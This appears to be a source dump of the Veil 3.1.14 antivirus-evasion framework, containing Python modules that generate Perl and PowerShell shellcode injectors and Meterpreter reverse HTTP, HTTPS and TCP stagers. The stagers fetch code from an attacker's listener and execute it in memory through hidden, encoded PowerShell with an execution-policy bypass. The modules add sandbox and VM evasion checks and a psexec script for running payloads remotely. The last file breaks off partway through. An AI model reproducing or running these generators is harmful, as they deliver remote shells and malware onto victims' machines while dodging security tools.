Veil-3.1.14/tools/evasion/payloads/native/000077500000000000000000000000001365017756100204205ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/payloads/native/__init__.py000066400000000000000000000000001365017756100225170ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/payloads/perl/000077500000000000000000000000001365017756100200745ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/payloads/perl/shellcode_inject/000077500000000000000000000000001365017756100233725ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/payloads/perl/shellcode_inject/flat.py000066400000000000000000000145061365017756100247000ustar00rootroot00000000000000""" Custom-written perl inline shellcode injector Approach by @the_grayhound and @christruncer Updated by @ChrisTruncer """ from tools.evasion.evasion_common import evasion_helpers from tools.evasion.evasion_common import gamemaker from tools.evasion.evasion_common import shellcode_help class PayloadModule: def __init__(self, cli_obj): # required options self.shortname = "VirtualAlloc" self.language = "perl" self.extension = "pl" self.rating = "Excellent" self.description = "VirtualAlloc pattern for shellcode injection" self.name = "Perl flat shellcode injector" self.path = "perl/shellcode_inject/flat" self.cli_opts = cli_obj self.shellcode = shellcode_help.Shellcode(cli_obj) self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: self.payload_type = "" self.cli_shellcode = False # optional self.required_options = { "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], "INJECT_METHOD" : ["Virtual", "Virtual, Void, or Heap"], "HOSTNAME" : ["X", "Optional: Required system hostname"], "DOMAIN" : ["X", "Optional: Required internal domain"], "PROCESSORS" : ["X", "Optional: Minimum number of processors"], "USERNAME" : ["X", "Optional: The required user account"], "USERPROMPT" : ["X", "Optional: Prompt for user activity"], "RAMSIZE" : ["X", "Optional: Check RAM size of target"], "NUMPROCS" : ["X", "Optional: Minimum number of running processes"], "FILENAME" : ["X", "Optional: File name check"], "DISKSIZE" : ["X", "Optional: Minimum disk size on target"], "NUMCLICKS" : ["X", "Optional: Minimum number of mouse clicks"], "REGSIZE" : ["X", "Optional: Minimum size of system registry"], "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] } def generate(self): # How I'm tracking the number of nested tabs needed # to make the payload num_ends_required = 0 payload_code = "use Win32::API;\n" # Generate the shellcode if not self.cli_shellcode: Shellcode = self.shellcode.generate(self.cli_opts) if self.shellcode.msfvenompayload: self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' else: Shellcode = self.cli_shellcode payload_code2, num_ends_required = gamemaker.senecas_games(self) payload_code = payload_code + payload_code2 # randomly generate variable names shellcode_variable = evasion_helpers.randomString() ptrName = evasion_helpers.randomString() rand_valloc = evasion_helpers.randomString() rand_movemem = evasion_helpers.randomString() rand_cthread = evasion_helpers.randomString() rand_waitfor = evasion_helpers.randomString() rand_heapcreate = evasion_helpers.randomString() rand_heapalloc = evasion_helpers.randomString() rand_thread = evasion_helpers.randomString() rand_protect = evasion_helpers.randomString() protect_out = evasion_helpers.randomString() payload_code += '\t' * num_ends_required + "my $%s = \"%s\";\n" % (shellcode_variable, Shellcode) payload_code += '\t' * num_ends_required + "$" + rand_movemem + " = new Win32::API('kernel32', 'RtlMoveMemory', 'IPI', 'V');\n" payload_code += '\t' * num_ends_required + "$" + rand_cthread + " = new Win32::API('kernel32', 'CreateThread', 'IIIIIP', 'I');\n" payload_code += '\t' * num_ends_required + "$" + rand_waitfor + " = new Win32::API('kernel32', 'WaitForSingleObject', 'II', 'I');\n" if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += '\t' * num_ends_required + "$" + rand_valloc + " = new Win32::API('kernel32', 'VirtualAlloc', 'IIII', 'I');\n" payload_code += '\t' * num_ends_required + "$" + rand_protect + " = new Win32::API('kernel32', 'VirtualProtect', 'PIIP', 'I');\n" payload_code += '\t' * num_ends_required + "my $" + ptrName + " = $" + rand_valloc + "->Call(0, length($" + shellcode_variable + "), 0x1000, 0x04);\n" payload_code += '\t' * num_ends_required + "$" + rand_movemem + "->Call($%s, $%s, length($%s));\n" % (ptrName, shellcode_variable, shellcode_variable) payload_code += '\t' * num_ends_required + "my $" + protect_out + " = $" + rand_protect + "->Call(" + ptrName + ", length($" + shellcode_variable + "), 0x20, 0);\n" elif self.required_options["INJECT_METHOD"][0].lower() == "heap": rand_heapcrout = evasion_helpers.randomString() payload_code += '\t' * num_ends_required + "$" + rand_heapcreate + " = new Win32::API('kernel32', 'HeapCreate', 'III', 'I');\n" payload_code += '\t' * num_ends_required + "$" + rand_heapalloc + " = new Win32::API('kernel32', 'HeapAlloc', 'III', 'I');\n" payload_code += '\t' * num_ends_required + "my $" + rand_heapcrout + " = $" + rand_heapcreate + "->Call(0x00040000, length(" + shellcode_variable + ")*2, 0);\n" payload_code += '\t' * num_ends_required + "my $" + ptrName + " = $" + rand_heapalloc + "->Call($" + rand_heapcrout + ", 0x00000008, length(" + shellcode_variable + "));\n" payload_code += '\t' * num_ends_required + "$" + rand_movemem + "->Call($%s, $%s, length($%s));\n" % (ptrName, shellcode_variable, shellcode_variable) payload_code += '\t' * num_ends_required + "my $" + rand_thread + " = $" + rand_cthread + "->Call(0, 0, $%s, 0, 0, 0);\n" % (ptrName) payload_code += '\t' * num_ends_required + "$" + rand_waitfor + "->Call($" + rand_thread + ", -1);\n" payload_code += '}\n' * num_ends_required self.payload_source_code = payload_code return Veil-3.1.14/tools/evasion/payloads/powershell/000077500000000000000000000000001365017756100213165ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/payloads/powershell/.gitignore000066400000000000000000000000061365017756100233020ustar00rootroot00000000000000*.pyc Veil-3.1.14/tools/evasion/payloads/powershell/__init__.py000066400000000000000000000000001365017756100234150ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/payloads/powershell/meterpreter/000077500000000000000000000000001365017756100236545ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/payloads/powershell/meterpreter/rev_http.py000066400000000000000000000134131365017756100260630ustar00rootroot00000000000000""" Custom-written pure powershell meterpreter/reverse_http stager Module built by @harmj0y Updated by @ChrisTruncer """ from tools.evasion.evasion_common import evasion_helpers from tools.evasion.evasion_common import gamemaker class PayloadModule: def __init__(self, cli_obj): # required options self.description = "pure windows/meterpreter/reverse_http stager, no shellcode" self.rating = "Excellent" self.language = "powershell" self.extension = "bat" self.name = "Pure PowerShell Reverse HTTP Stager" self.path = "powershell/meterpreter/rev_http" self.cli_opts = cli_obj self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: self.payload_type = "" self.cli_shellcode = False # optional self.required_options = { "LHOST" : ["", "IP of the Metasploit handler"], "LPORT" : ["8080", "Port of the Metasploit handler"], "PROXY" : ["N", "Use system proxy settings"], "STAGERURILENGTH" : ["4", "The URI length for the stager (at least 4 chars)."], "LURI" : ["/","The HTTP path to prepend to the listener. Ex: http://attacker:port/[LURI]"], "USER_AGENT" : ["Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)", "The User-Agent header to send with the initial stager request"], "HOSTNAME" : ["X", "Optional: Required system hostname"], "DOMAIN" : ["X", "Optional: Required internal domain"], "PROCESSORS" : ["X", "Optional: Minimum number of processors"], "USERNAME" : ["X", "Optional: The required user account"], "USERPROMPT" : ["FALSE", "Window pops up prior to payload"], "MINRAM" : ["FALSE", "Require a minimum of 3 gigs of RAM"], "UTCCHECK" : ["FALSE", "Check that system isn't using UTC time zone"], "VIRTUALPROC" : ["FALSE", "Check for known VM processes"], "MINBROWSERS" : ["FALSE", "Minimum of 2 browsers"], "BADMACS" : ["FALSE", "Checks for known bad mac addresses"], "MINPROCESSES" : ["X", "Minimum number of processes running"], "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"]} def generate(self): checks, num_ends = gamemaker.senecas_games(self) proxyString = "$pr = [System.Net.WebRequest]::GetSystemWebProxy();$pr.Credentials=[System.Net.CredentialCache]::DefaultCredentials;$m.proxy=$pr;$m.UseDefaultCredentials=$true;" baseString = """$q = @" [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); "@\n""" baseString += checks baseString += """try{$d = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray() function c($v){ return (([int[]] $v.ToCharArray() | Measure-Object -Sum).Sum %% 0x100 -eq 92)} function t {$f = "";1..%i|foreach-object{$f+= $d[(get-random -maximum $d.Length)]};return $f;} function e { process {[array]$x = $x + $_}; end {$x | sort-object {(new-object Random).next()}}} function g{ for ($i=0;$i -lt 64;$i++){$h = t;$k = $d | e; foreach ($l in $k){$s = $h + $l; if (c($s)) { return $s }}}return "9vXU";} $m = New-Object System.Net.WebClient;%s$m.Headers.Add("user-agent", "%s") $n = g; [Byte[]] $p = $m.DownloadData("http://%s:%s/%s$n" ) $o = Add-Type -memberDefinition $q -Name "Win32" -namespace Win32Functions -passthru $x=$o::VirtualAlloc(0,$p.Length,0x3000,0x40);[System.Runtime.InteropServices.Marshal]::Copy($p, 0, [IntPtr]($x.ToInt32()), $p.Length) $o::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}""" %((int(self.required_options["STAGERURILENGTH"][0])-1), "" if self.required_options["PROXY"][0] == "N" else proxyString, self.required_options["USER_AGENT"][0], self.required_options["LHOST"][0], self.required_options["LPORT"][0], "" if self.required_options["LURI"][0] == "/" else "%s/" % self.required_options["LURI"][0]) baseString += '}\n' * num_ends encoded = evasion_helpers.deflate(baseString) payload_code = "@echo off\n" payload_code += "if %PROCESSOR_ARCHITECTURE%==x86 (" payload_code += "powershell.exe -NoP -NonI -W Hidden -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\"" % (encoded) payload_code += ") else (" payload_code += "%%WinDir%%\\syswow64\\windowspowershell\\v1.0\\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\")" % (encoded) self.payload_source_code = payload_code return Veil-3.1.14/tools/evasion/payloads/powershell/meterpreter/rev_https.py000066400000000000000000000134321365017756100262470ustar00rootroot00000000000000""" Custom-written pure powershell meterpreter/reverse_https stager Module built by @harmj0y """ from tools.evasion.evasion_common import evasion_helpers from tools.evasion.evasion_common import gamemaker class PayloadModule: def __init__(self, cli_obj): # required options self.description = "pure windows/meterpreter/reverse_https stager, no shellcode" self.rating = "Excellent" self.language = "powershell" self.extension = "bat" self.name = "Pure PowerShell Reverse HTTPS Stager" self.path = "powershell/meterpreter/rev_https" self.cli_opts = cli_obj self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: self.payload_type = "" self.cli_shellcode = False # optional self.required_options = { "LHOST" : ["", "IP of the Metasploit handler"], "LPORT" : ["8443", "Port of the Metasploit handler"], "PROXY" : ["N", "Use system proxy settings"], "STAGERURILENGTH" : ["4", "The URI length for the stager (at least 4 chars)."], "LURI" : ["/","The HTTP path to prepend to the listener. Ex: http://attacker:port/[LURI]"], "USER_AGENT" : ["Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)", "The User-Agent header to send with the initial stager request"], "HOSTNAME" : ["X", "Optional: Required system hostname"], "DOMAIN" : ["X", "Optional: Required internal domain"], "PROCESSORS" : ["X", "Optional: Minimum number of processors"], "USERNAME" : ["X", "Optional: The required user account"], "USERPROMPT" : ["FALSE", "Window pops up prior to payload"], "MINRAM" : ["FALSE", "Require a minimum of 3 gigs of RAM"], "UTCCHECK" : ["FALSE", "Check that system isn't using UTC time zone"], "VIRTUALPROC" : ["FALSE", "Check for known VM processes"], "MINBROWSERS" : ["FALSE", "Minimum of 2 browsers"], "BADMACS" : ["FALSE", "Checks for known bad mac addresses"], "MINPROCESSES" : ["X", "Minimum number of processes running"], "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"]} def generate(self): checks, num_ends = gamemaker.senecas_games(self) proxyString = "$pr = [System.Net.WebRequest]::GetSystemWebProxy();$pr.Credentials=[System.Net.CredentialCache]::DefaultCredentials;$m.proxy=$pr;$m.UseDefaultCredentials=$true;" baseString = """$q = @" [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); "@\n""" baseString += checks baseString += """try{$d = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray() function c($v){ return (([int[]] $v.ToCharArray() | Measure-Object -Sum).Sum %% 0x100 -eq 92)} function t {$f = "";1..%i|foreach-object{$f+= $d[(get-random -maximum $d.Length)]};return $f;} function e { process {[array]$x = $x + $_}; end {$x | sort-object {(new-object Random).next()}}} function g{ for ($i=0;$i -lt 64;$i++){$h = t;$k = $d | e; foreach ($l in $k){$s = $h + $l; if (c($s)) { return $s }}}return "9vXU";} [Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$m = New-Object System.Net.WebClient;%s $m.Headers.Add("user-agent", "%s");$n = g; [Byte[]] $p = $m.DownloadData("https://%s:%s/%s$n" ) $o = Add-Type -memberDefinition $q -Name "Win32" -namespace Win32Functions -passthru $x=$o::VirtualAlloc(0,$p.Length,0x3000,0x40);[System.Runtime.InteropServices.Marshal]::Copy($p, 0, [IntPtr]($x.ToInt32()), $p.Length) $o::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}""" %((int(self.required_options["STAGERURILENGTH"][0])-1), "" if self.required_options["PROXY"][0] == "N" else proxyString, self.required_options["USER_AGENT"][0], self.required_options["LHOST"][0], self.required_options["LPORT"][0], "" if self.required_options["LURI"][0] == "/" else "%s/" % self.required_options["LURI"][0]) encoded = evasion_helpers.deflate(baseString) payload_code = "@echo off\n" payload_code += "if %PROCESSOR_ARCHITECTURE%==x86 (" payload_code += "powershell.exe -NoP -NonI -W Hidden -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\"" % (encoded) payload_code += ") else (" payload_code += "%%WinDir%%\\syswow64\\windowspowershell\\v1.0\\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\")" % (encoded) self.payload_source_code = payload_code return Veil-3.1.14/tools/evasion/payloads/powershell/meterpreter/rev_tcp.py000066400000000000000000000105701365017756100256730ustar00rootroot00000000000000""" Custom-written pure powershell meterpreter/reverse_tcp stager Module @harmj0y """ from tools.evasion.evasion_common import evasion_helpers from tools.evasion.evasion_common import gamemaker class PayloadModule: def __init__(self, cli_obj): # required options self.description = "pure windows/meterpreter/reverse_tcp stager, no shellcode" self.rating = "Excellent" self.language = "powershell" self.extension = "bat" self.name = "Pure PowerShell Reverse TCP Stager" self.path = "powershell/meterpreter/rev_tcp" self.cli_opts = cli_obj self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: self.payload_type = "" self.cli_shellcode = False # optional self.required_options = { "LHOST" : ["", "IP of the Metasploit handler"], "LPORT" : ["4444", "Port of the Metasploit handler"], "HOSTNAME" : ["X", "Optional: Required system hostname"], "DOMAIN" : ["X", "Optional: Required internal domain"], "PROCESSORS" : ["X", "Optional: Minimum number of processors"], "USERNAME" : ["X", "Optional: The required user account"], "USERPROMPT" : ["FALSE", "Window pops up prior to payload"], "MINRAM" : ["FALSE", "Require a minimum of 3 gigs of RAM"], "UTCCHECK" : ["FALSE", "Check that system isn't using UTC time zone"], "VIRTUALPROC" : ["FALSE", "Check for known VM processes"], "MINBROWSERS" : ["FALSE", "Minimum of 2 browsers"], "BADMACS" : ["FALSE", "Checks for known bad mac addresses"], "MINPROCESSES" : ["X", "Minimum number of processes running"], "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"]} def generate(self): checks, num_ends = gamemaker.senecas_games(self) baseString = """$c = @" [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z); "@\n""" baseString += checks baseString += """try{$s = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp) $s.Connect('%s', %s) | out-null; $p = [Array]::CreateInstance("byte", 4); $x = $s.Receive($p) | out-null; $z = 0 $y = [Array]::CreateInstance("byte", [BitConverter]::ToInt32($p,0)+5); $y[0] = 0xBF while ($z -lt [BitConverter]::ToInt32($p,0)) { $z += $s.Receive($y,$z+5,1,[System.Net.Sockets.SocketFlags]::None) } for ($i=1; $i -le 4; $i++) {$y[$i] = [System.BitConverter]::GetBytes([int]$s.Handle)[$i-1]} $t = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru; $x=$t::VirtualAlloc(0,$y.Length,0x3000,0x40) [System.Runtime.InteropServices.Marshal]::Copy($y, 0, [IntPtr]($x.ToInt32()), $y.Length) $t::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}""" %(self.required_options["LHOST"][0], self.required_options["LPORT"][0]) baseString += '}\n' * num_ends encoded = evasion_helpers.deflate(baseString) payload_code = "@echo off\n" payload_code += "if %PROCESSOR_ARCHITECTURE%==x86 (" payload_code += "powershell.exe -NoP -NonI -W Hidden -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\"" % (encoded) payload_code += ") else (" payload_code += "%%WinDir%%\\syswow64\\windowspowershell\\v1.0\\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\")" % (encoded) self.payload_source_code = payload_code return Veil-3.1.14/tools/evasion/payloads/powershell/shellcode_inject/000077500000000000000000000000001365017756100246145ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/payloads/powershell/shellcode_inject/__init__.py000066400000000000000000000000001365017756100267130ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/payloads/powershell/shellcode_inject/psexec_virtual.py000066400000000000000000000220251365017756100302240ustar00rootroot00000000000000""" Powershell method to inject inline shellcode Builds a metasploit .rc resource file to psexec the powershell command easily Original concept from Matthew Graeber: http://www.exploit-monday.com/2011/10/exploiting-powershells-features-not.html Note: the architecture independent invoker was developed independently from: https://www.trustedsec.com/may-2013/native-powershell-x86-shellcode-injection-on-64-bit-platforms/ Port to the msf resource file by @harmj0y """ from tools.evasion.evasion_common import evasion_helpers from tools.evasion.evasion_common import gamemaker from tools.evasion.evasion_common import shellcode_help class PayloadModule: def __init__(self, cli_obj): # required self.description = "PowerShell VirtualAlloc method for inline shellcode injection that makes a Metasploit psexec_command .rc script" self.rating = "Excellent" self.language = "powershell" self.extension = "rc" self.name = "PowerShell psexec_command stager" self.path = "powershell/shellcode_inject/psexec_virtual" self.cli_opts = cli_obj self.shellcode = shellcode_help.Shellcode(cli_obj) self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: self.payload_type = "" self.cli_shellcode = False # options we require user ineraction for- format is {Option : [Value, Description]]} self.required_options = { "INJECT_METHOD" : ["Virtual", "Virtual, Void, or Heap"], "HOSTNAME" : ["X", "Optional: Required system hostname"], "DOMAIN" : ["X", "Optional: Required internal domain"], "PROCESSORS" : ["X", "Optional: Minimum number of processors"], "USERNAME" : ["X", "Optional: The required user account"], "USERPROMPT" : ["FALSE", "Window pops up prior to payload"], "MINRAM" : ["FALSE", "Require a minimum of 3 gigs of RAM"], "UTCCHECK" : ["FALSE", "Check that system isn't using UTC time zone"], "VIRTUALPROC" : ["FALSE", "Check for known VM processes"], "MINBROWSERS" : ["FALSE", "Minimum of 2 browsers"], "BADMACS" : ["FALSE", "Checks for known bad mac addresses"], "MINPROCESSES" : ["X", "Minimum number of processes running"], "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] } def psRaw(self): checks, num_ends = gamemaker.senecas_games(self) # Generate the shellcode if not self.cli_shellcode: Shellcode = self.shellcode.generate(self.cli_opts) if self.shellcode.msfvenompayload: self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' else: Shellcode = self.cli_shellcode Shellcode = ",0".join(Shellcode.split("\\"))[1:] if self.required_options["INJECT_METHOD"][0].lower() == "virtual": baseString = """$c = @" [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z); [DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr x, uint y, uint z); "@\n""" baseString += """Function Get-ProcAddress { Param ( [OutputType([IntPtr])] [Parameter( Position = 0, Mandatory = $True )] [String] $Module, [Parameter( Position = 1, Mandatory = $True )] [String] $Procedure ) # Get a reference to System.dll in the GAC $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') # Get a reference to the GetModuleHandle and GetProcAddress methods $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') # Get a handle to the module specified $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) $tmpPtr = New-Object IntPtr $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) # Return the address of the function Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) } Function Get-DelegateType { Param ( [OutputType([Type])] [Parameter( Position = 0)] [Type[]] $Parameters = (New-Object Type[](0)), [Parameter( Position = 1 )] [Type] $ReturnType = [Void] ) $Domain = [AppDomain]::CurrentDomain $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) $MethodBuilder.SetImplementationFlags('Runtime, Managed') Write-Output $TypeBuilder.CreateType() }\n""" baseString += """$wut = New-Object System.Object $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) $why = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) $wut | Add-Member NoteProperty -Name VirtualProtect -Value $why\n""" baseString += checks baseString += """$o = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru $x=$o::VirtualAlloc(0,0x1000,0x3000,0x04); [Byte[]]$sc = %s; for ($i=0;$i -le ($sc.Length-1);$i++) {$o::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1) | out-null;} $here=$wut.VirtualProtect.Invoke($x, [UInt32]0x1000, [UInt32]0x20, [Ref]0); $z=$o::CreateThread(0,0,$x,0,0,0); Start-Sleep -Second 100000""" % (Shellcode) elif self.required_options["INJECT_METHOD"][0].lower() == "heap": baseString = """$c = @" [DllImport("kernel32.dll")] public static extern IntPtr HeapCreate(uint x, uint y, uint z); [DllImport("kernel32.dll")] public static extern IntPtr HeapAlloc(IntPtr w, uint x, uint y); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z); [DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr x, uint y, uint z); "@\n""" baseString += checks baseString += """$o = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru [Byte[]]$sc = %s $x=$o::HeapCreate(0x00040000,$sc.Length,0); $ct=$o::HeapAlloc($x,0x00000008,$sc.Length) for ($i=0;$i -le ($sc.Length-1);$i++) {$o::memset([IntPtr]($ct.ToInt32()+$i), $sc[$i], 1) | out-null;} $z=$o::CreateThread(0,0,$ct,0,0,0); Start-Sleep -Second 100000""" % (Shellcode) baseString += '}\n' * num_ends return baseString def generate(self): encoded = evasion_helpers.deflate(self.psRaw()) payload_code = "use auxiliary/admin/smb/psexec_command\n" payload_code += "set COMMAND " payload_code += "if %PROCESSOR_ARCHITECTURE%==x86 (" payload_code += "powershell.exe -NoP -NonI -W Hidden -Command \\\"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\\\\\"%s\\\\\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\\\"" % (encoded) payload_code += ") else (" payload_code += "%%WinDir%%\\\\syswow64\\\\windowspowershell\\\\v1.0\\\\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command \\\"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\\\\\"%s\\\\\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\\\")" % (encoded) self.payload_source_code = payload_code return Veil-3.1.14/tools/evasion/payloads/powershell/shellcode_inject/virtual.py000066400000000000000000000143051365017756100266570ustar00rootroot00000000000000""" Powershell method to inject inline shellcode Original concept from Matthew Graeber: http://www.exploit-monday.com/2011/10/exploiting-powershells-features-not.html Note: the architecture independent invoker was developed independently from: https://www.trustedsec.com/may-2013/native-powershell-x86-shellcode-injection-on-64-bit-platforms/ Module built by @harmj0y Updated by @ChrisTruncer """ from tools.evasion.evasion_common import evasion_helpers from tools.evasion.evasion_common import gamemaker from tools.evasion.evasion_common import shellcode_help class PayloadModule: def __init__(self, cli_obj): # required self.description = "PowerShell VirtualAlloc method for inline shellcode injection" self.rating = "Excellent" self.language = "powershell" self.extension = "bat" self.name = "PowerShell Flat Stager" self.path = "powershell/shellcode_inject/virtual" self.cli_opts = cli_obj self.shellcode = shellcode_help.Shellcode(cli_obj) self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: self.payload_type = "" self.cli_shellcode = False # options we require user ineraction for- format is {Option : [Value, Description]]} self.required_options = { "INJECT_METHOD" : ["Virtual", "Virtual, Void, or Heap"], "HOSTNAME" : ["X", "Optional: Required system hostname"], "DOMAIN" : ["X", "Optional: Required internal domain"], "PROCESSORS" : ["X", "Optional: Minimum number of processors"], "USERNAME" : ["X", "Optional: The required user account"], "USERPROMPT" : ["FALSE", "Window pops up prior to payload"], "MINRAM" : ["FALSE", "Require a minimum of 3 gigs of RAM"], "UTCCHECK" : ["FALSE", "Check that system isn't using UTC time zone"], "VIRTUALPROC" 